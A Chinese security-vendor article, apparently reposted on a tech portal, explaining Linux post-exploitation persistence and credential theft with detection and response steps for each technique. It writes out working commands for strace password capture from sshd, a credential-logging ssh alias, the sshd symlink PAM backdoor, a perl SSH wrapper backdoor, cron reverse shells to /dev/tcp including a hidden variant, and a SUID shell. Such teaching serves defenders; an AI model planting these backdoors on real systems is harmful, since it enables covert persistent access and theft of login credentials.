您当前的位置:首页 > 电脑百科 > 安全防护 > 服务器/网站

Linux后渗透常见后门驻留方式分析

时间:2022-11-09 17:23:29  来源:企鹅号  作者:安全狗

引言

RedTeam拿下了一台服务器并获取到系统较高权限,但不知道服务器的凭证时,RedTeam会采用怎样的技术获取系统凭证呢?又或者,在RedTeam拿下一台服务器,为达到长久控制的目的而专门定制持久化后门(免杀肯定是必须的)的前提下,他们会如何结合系统自身的某些特性,达到持久化控制的效果?

BlueTeam在应急响应的过程中,又该如何尽早地排查出这些后门?为尽到“知己知彼,百战不殆”,本文将对linux下常见的权限维持技术和凭据收集技术进行解析,希望能对从事攻防对抗研究的小伙伴有所帮助。

Strace获取登陆凭证

1

strace获取登陆凭证原理

凭证将会通过strace追踪到系统sshd进程,并将追踪到的信息保存到log文件,这些信息中包含了系统明文密码以及ssh私钥。

2

strace获取登陆凭证实现

strace获取登陆凭证利用条件包括:

内核版本>Linux Kernel 3.4支持完全限制或禁用ptrace的功能。

具有kernel.yama.ptrace_scope限制和禁用。

具体实现

获取sshd进程明文密码。可使用括号执行程序,然后退出当前shell,并用ssh登录其他主机。

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

图1

strace捕获到的凭证将会保存在/tmp/.sshd.log文件下:

图2

3

Strace获取登陆凭证检测响应

1)使用ps工具查看系统中的strace进程。

图3

2)使用kill工具阻断进程运行。

Alias获取登陆凭证

1

Alias获取登陆凭证原理

给指定程序设置命令别名,使运行指定程序时自动strace读写系统调用,收集登录凭证。

2

Alias获取登陆凭证实现

1)在终端中执行。

# 添加命令别名vi ~/.bashrc或者/etc/bashrcalias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'# 使命令别名立即生效source ~/.bashrc

图5

2)通过查看日志文件,能看到有系统凭证的信息。

图6

3

Alias获取登陆凭证检测响应

1)使用alias工具即可发现异常

图7

2)打开.bashrc文件,查看并清除后门命令。

图8

SSH软连接后门

1

SSH软连接后门原理

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),su在pam_rootok只检测uid 0即认证成功,导致了可以使用任意密码登录。

2

SSH软连接后门实现

1)在靶机上安装ssh后门,执行。

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

2)攻击机中用ssh终端连接工具,密码随意填写即可实现任意密码登录。

图9

笔者在测试环境下还发现有”chsh”、”chfn”等shell程序包含pam_rootok.so,均能够用于SSH软连接后门的植入。

图10

3

SSH软连接后门检测响应

1)查看系统当前端口状态。

这类后门会开启监听端口,我们可以先查看/etc/pam.d/目录下有哪些文件包含该配置,然后通过管道符找到异常端口及进程,再通过进程找到异常文件、杀掉进程、关闭PAM认证即可。

find /etc/pam.d/ |xargs grep "pam_rootok.so".NETstat -antlp |grep -E "su|chsh|chfn|runuser"

图11

2)查看系统登录日志

图12

SSH公钥免密登陆后门

1

公钥免密后门原理

ssh无密码登录要使用公钥与私钥。linux下可以用ssh-keygen生成公钥/私钥,即利用密钥认证登录。

2

公钥免密登录后门实现

1)在攻击机上生成公钥文件,“回车”默认配置。

ssh-keygen -t rsa

2)将攻击机上的id_rsa.pub文件拷贝至靶机。

1.ftp、scp等工具上传至靶机或者U盘植入;2.将公钥文件放置vps服务器,然后靶机用wget/curl下载;3.各类可用于远程传输的工具均可(如:nc)。

3)攻击机ssh连接靶机,无需密码认证。

图14

3

公钥免密登陆后门检测响应

1)查看系统当前登录状态。

图15

SSH wrApper后门

1

SSH wrapper后门原理

Linux中init首先启动的是/usr/sbin/sshd,原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。如果这个子进程的标准输入输出已被重定向,那么getpeername能获取到客户端的TCP端口,将会派生给执行sh命令执行的权限。简而言之就是反弹shell,与常见的反弹shell不同的是,SSH wrapper后门通过长连接反弹shell的方式,使得攻击者在退出终端后仍然能进行连接

2

SSH wrapper后门实现

1)在靶机(服务端)中执行监听,终端中执行。

cd /usr/sbin/mv sshd ../bin/echo '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd/etc/init.d/sshd restart

2)在攻击机(客户端)中执行连接命令,获得一个命令执行权限的shell。

图16

3

SSH wrapper后门检测响应

1)查看sshd文件修改状况。

ls -al /usr/sbin/sshdcat /usr/sbin/sshd

图17

2)清除SSH wrapper后门。

通过重装ssh服务清除SSH wrapper后门。

Cron后门

1

Cron后门原理

crontab命令用于设置周期性被执行的指令,可以把cron设置为开机时自动启动。攻击者将恶意代码或程序隐藏在系统磁盘中,并由计划任务调用时启动它们。

2

Cron后门实现

1)平平无奇的Cron后门。

(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i')|crontab -

能用crontab-l命令查看到具体内容。

图18

2)隐蔽的Cron后门。

(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -

用crontab-l命令则无法查看到具体内容。

图19

这是因为利用到了cat工具的特性。cat默认支持一些如r回车符、n换行符、f换页符等,也就是这些符号导致的能够隐藏命令。

3)攻击机获得shell连接。

图20

3

Cron后门检测响应

1)查看可疑的计划任务。

crontab -e

2)使用vim命令在cron创建的文件下查找并清除恶意代码。

图21

SUID Shell后门

1

SUID Shell后门原理

Suid shell是一种可用于以拥有者权限运行的shell。攻击者将原有的bash进程copy并隐藏,给予可执行的权限,达到隐藏后门的目的。

2

SUID Shell后门实现

1)在终端中执行如下命令。

# cp /bin/bash /tmp/shell# chmod u+s /tmp/shell用普通权限用户执行shell程序。$ /tmp/shell -p

图22

3

SUID Shell后门检测响应

1)在Linux中查找SUID设置的文件。

图23

2)取消shell程序的s权限。

chmod u-s /tmp/shell

Tcp wrapper后门

1

Tcp wrapper后门原理

TCP_Wrappers(一个工作在应用层的安全工具),通过修改配置文件hosts.allow,实现tcpd(Tcp Wrapper的守护进程)的截获请求。每当有ssh的连接请求时,如若请求满足配置文件中的规则,则放行,否则中断连接,配置文件中可配置执行命令。

2

Tcp wrapper后门实现

1)编辑配置文件,并写入恶意代码。

图25

2)在攻击机上开启本地端口监听。

图25

3)连接目标服务器的22端口,触发后门,无需输入密码,监听端口将会获得shell连接。

图26

3

Tcp wrapper后门检测响应

1)在/etc/hosts.allow文件中查找并删除恶意代码。

图27

Systemd服务后门

1

Systemd服务后门原理

Linux下的服务启动后门,可创建或配置系统服务文件中的ExecStart参数,实现启动服务时,调用恶意代码的执行。

2

Systemd服务后门实现

1)创建服务描述文件。

图28

2)编辑backdoor.service文件,加入下面的内容。

图29

3)给予执行权限,并重新读取服务信息,使得服务生效。

图30

4)在启动服务后,攻击机监听的端口将会返回一个shell。

图32

3

Systemd服务后门检测响应

1)在/usr/lib/systemd/system下的服务文件中查找并删除恶意代码。

图33

十一

Vim Python/ target=_blank class=infotextkey>Python2拓展后门

1

Vim python2扩展后门原理

vim安装时默认安装了当前服务器的python版本的扩展,利用该扩展,可以用vim的扩展pyfile来执行python脚本。

2

Vim python2扩展后门实现

1)在靶机上创建python反弹shell脚本attck.py。

图34

2)在攻击机中开启端口监听。

图35

3)靶机在执行vim-E-c"pyfile attck.py"命令后,攻击机监听的端口将会返回shell。

图36

3

Vim python2扩展后门检测响应

1)查看当前系统是否有可疑的网络连接;

 图37

2)定位到vim进程,查看执行的命令调用了python扩展;

3)定位到可疑脚本路径,查找并清除可疑后门脚本;

图39

十二

安全狗的后门检测案例介绍

Linux系统中后门驻留的方式花样繁杂,任何一个配置、一个语句、一行代码,都会给攻击者可乘之机。如今内网攻击手段越来越趋于隐蔽化,攻击者在进入内网系统环境后操作更加谨慎,为达到隐匿自己行踪的目的,攻击者会开启常用端口作为网络连接回传,从而误导防守者的研判与分析。

以下“Tcp wrapper后门”为例,攻击者利用443端口回传数据。众所周知,443端口是https协议传输端口,而攻击者将其tcp回传用https障眼。而在进程行为中,并无可疑的命令执行。

图40

多数防守者在发现端口是443就默认会放过,因为系统中成百上千条进程网络连接就够防守者头痛了。而少部分防守者在发现443端口协议应该是https而非tcp的端倪时,却很难继续往系统内部溯源发现是hosts.allow配置文件驻留有后门代码,顶多就用微步等网络测绘工具查看目的地址是否标记恶意或非恶意,若是非恶意则就不了了之,殊不知已然酿成大祸。

安全狗的云眼主机防御系统能实时对主机异常行为做研判分析。以上述的“Tcp wrapper后门”为例,通过定时采集系统中能被作用于后门驻留的配置文件做规则匹配,快速定位到对应的配置文件及后门恶意代码内容,快速响应。

目前,云眼针对后门驻留的检测规则有数百条,除了文章中演示的linux常见后门以外,还支持对各类反弹shell后门脚本的检测。

图43



Tags:渗透   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
详解渗透测试和漏洞扫描的开源自动化解决方案
译者 | 刘涛审校 | 重楼目录 什么是渗透测试 规划和侦察 扫描 开发和获得访问权限 维持访问权 报告和控制 什么是漏洞扫描 渗透测试工具 渗透测试的自动化 渗透自动化工作流...【详细内容】
2024-02-27  Search: 渗透  点击:(27)  评论:(0)  加入收藏
渗透测试中最常见的漏洞有哪些?
什么是渗透测试?渗透测试是一项安全测试,旨在模拟黑客的攻击方式,评估系统、网络或应用程序的安全性,发现潜在的安全漏洞并提出建议来修复它们。渗透测试中最常见的漏洞包括:1....【详细内容】
2024-01-11  Search: 渗透  点击:(106)  评论:(0)  加入收藏
网络安全中的渗透测试主要有几个方面
渗透测试中主要有软件测试和渗透测试。1、测试对象不同软件测试:主要测试的是程序、数据、文档。渗透测试:对象主要为网络设备、主机操作系统、数据库系统和应用系统。2、测试...【详细内容】
2023-11-02  Search: 渗透  点击:(91)  评论:(0)  加入收藏
RouterSploit:一款功能强大的嵌入式设备渗透测试框架
关于RouterSploitRouterSploit是一款功能强大的嵌入式设备渗透测试与漏洞利用框架,该工具是一款完全开源的工具,基于Python语言开发,可以帮助广大研究人员检测嵌入式设备中潜在...【详细内容】
2023-09-27  Search: 渗透  点击:(303)  评论:(0)  加入收藏
AIGC正向医院渗透 能否打破AI医疗僵局?
作者: 林志吟以ChatGPT为代表的AIGC(生成式AI)风靡市场,掀起了生成式大语言模型的开发浪潮,这一波浪潮席卷至医疗行业,行业中的“百模大战”正在迅速兴起。一直以来,医疗行业被视为...【详细内容】
2023-09-18  Search: 渗透  点击:(99)  评论:(0)  加入收藏
从AI模特换装到AIGC赋能运营,生成式AI全方位渗透电商产业链
文 | 王吉伟 生成式AI席卷电商领域,AIGC赋能厂商与客户增效降本 生成式AI已经热了这么久,厂商们在电商领域都有哪些探索? 从AI模特换装到AIGC赋能运营,生成式AI全方位渗透电商产...【详细内容】
2023-09-09  Search: 渗透  点击:(324)  评论:(0)  加入收藏
​ 来探讨看看关于MacOS 应用程序中的渗透测试
在当今数字时代,网络安全和应用程序的安全性问题已成为我们生活和工作中必须关注的一个重要问题。无论是个人还是组织,我们都需要采取措施来保护我们的计算机和网络系统,防止恶...【详细内容】
2023-08-16  Search: 渗透  点击:(242)  评论:(0)  加入收藏
安全专业人员必备的网络渗透测试工具
安全行业更经常使用用于渗透测试的网络安全工具来测试网络和应用程序中的漏洞。在这里,您可以找到综合网络安全工具列表,其中涵盖了在所有环境中执行渗透测试操作。网络安全工...【详细内容】
2023-06-14  Search: 渗透  点击:(153)  评论:(0)  加入收藏
渗透测试和黑客工具列表
安全行业更常使用渗透测试和黑客工具来测试网络和应用程序中的漏洞。在这里,您可以找到涵盖在所有环境中执行渗透测试操作的综合渗透测试和黑客工具列表。渗透测试和道德黑客...【详细内容】
2023-06-10  Search: 渗透  点击:(225)  评论:(0)  加入收藏
谷歌将最新AI大语言模型渗透到广告业务:广告商及YouTube创作者将受益
新浪科技讯 北京时间5月18日早间消息,据报道,美国科技巨头谷歌(121.48, 1.39, 1.16%)正在把最新的生成式人工智能技术整合到其产品阵列中,而内部文件显示,谷歌网络广告业务成为...【详细内容】
2023-05-18  Search: 渗透  点击:(255)  评论:(0)  加入收藏
▌简易百科推荐
企业网站被攻击主要表现在哪些方面?
建企业网站只是功能实现,如果网站代码不够严谨有漏洞,再漂亮的网站也只是摆设,潜在风险害人害己。所以在建网站之初就一定要考虑好这个问题,如果系统建设不是强项可以选择一套主...【详细内容】
2023-12-18  三七一网络    Tags:网站   点击:(85)  评论:(0)  加入收藏
网站频繁被劫持怎么办?
域名劫持是互联网攻击的一种方式,通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的IP地址从而实现用户无法访问目标网站的目的或者蓄意或...【详细内容】
2023-12-07  帝恩思DNS    Tags:被劫持   点击:(180)  评论:(0)  加入收藏
不可不知的Web安全指南
Web 已成为备受瞩目的攻击媒介,而 Web 安全对于确保企业的业务安全至关重要。如今黑客行为是一个公认的行业,而犯罪企业比以往任何时候都更加复杂且联系更加紧密。攻击一直在...【详细内容】
2023-09-18  云尖软件    Tags:Web安全   点击:(240)  评论:(0)  加入收藏
电商网站应对CC攻击的四大利器!
CC攻击是DDOS(分布式拒绝攻击)攻击的一种恶意手段,其原理是通过代理服务器或肉鸡向受害主机不断发起大量数据包,使目标服务器资源耗尽,导致其崩溃宕机。其特点在于使用真实且分散...【详细内容】
2023-07-19  诺必达云服务    Tags:CC攻击   点击:(205)  评论:(0)  加入收藏
你知道什么是堡垒机吗
在当今数字化时代,网络安全对于企业和组织来说至关重要。为了保护敏感数据和系统免受未经授权的访问和攻击,堡垒机成为一种必备工具。本文将介绍什么是堡垒机、其工作原理以及...【详细内容】
2023-07-14  职场小达人欢晓    Tags:堡垒机   点击:(144)  评论:(0)  加入收藏
如何防止黑客入侵服务器 预防黑客入侵有效方法
随着网络科技发展迅速,网络黑客手段越来越高明,不少人曾遭遇服务器被黑出现版本被盗,文件丢失,到那时候再补救就为时已晚了,那么平时如何防止黑客入侵服务器呢?一、采用NTFS文件系...【详细内容】
2023-05-25  芳芳分享汇    Tags:黑客入侵   点击:(304)  评论:(0)  加入收藏
我的网站被黑了,该如何排除漏洞并修复安全问题
随着时代的发展网站使用的频率是逐步增加。然而,随着互联网技术的不断进步,网站安全问题也引起了广泛关注。其中,最严重的问题是网站被黑客攻击。那么,何谓网站被黑?它可能会给企...【详细内容】
2023-05-18  Sinesafe网站安全    Tags:网站被黑   点击:(306)  评论:(0)  加入收藏
保护服务器机房物理安全的五种优秀实践
服务器机房是数字企业的心脏。无论是企业家还是经验丰富的IT专业人员,都知道服务器机房的安全性至关重要。如果没有采用适当的物理安全措施,其服务器很容易受到盗窃、人为破坏...【详细内容】
2023-05-17    企业网D1Net  Tags:服务器   点击:(288)  评论:(0)  加入收藏
CMS身份验证,保护您的网站!
在当今数字时代,网站安全至关重要。CMS是许多网站使用的内容管理系统,它们有助于管理和维护网站的内容。然而,CMS也是黑客攻击的常见目标,因此保护CMS非常重要。其中一个关键步...【详细内容】
2023-05-16  芳芳聊日常    Tags:身份验证   点击:(295)  评论:(0)  加入收藏
Linux系统服务器如何防止端口攻击?
端口攻击是指攻击者利用开放的端口来进入服务器、读取敏感信息和进行其他恶意行为。要防止 Linux 服务器的端口攻击,可以采取以下措施:1.配置防火墙:防火墙可以过滤非法流量,保...【详细内容】
2023-05-12  汽车车门的养护    Tags:端口攻击   点击:(351)  评论:(0)  加入收藏
站内最新
站内热门
站内头条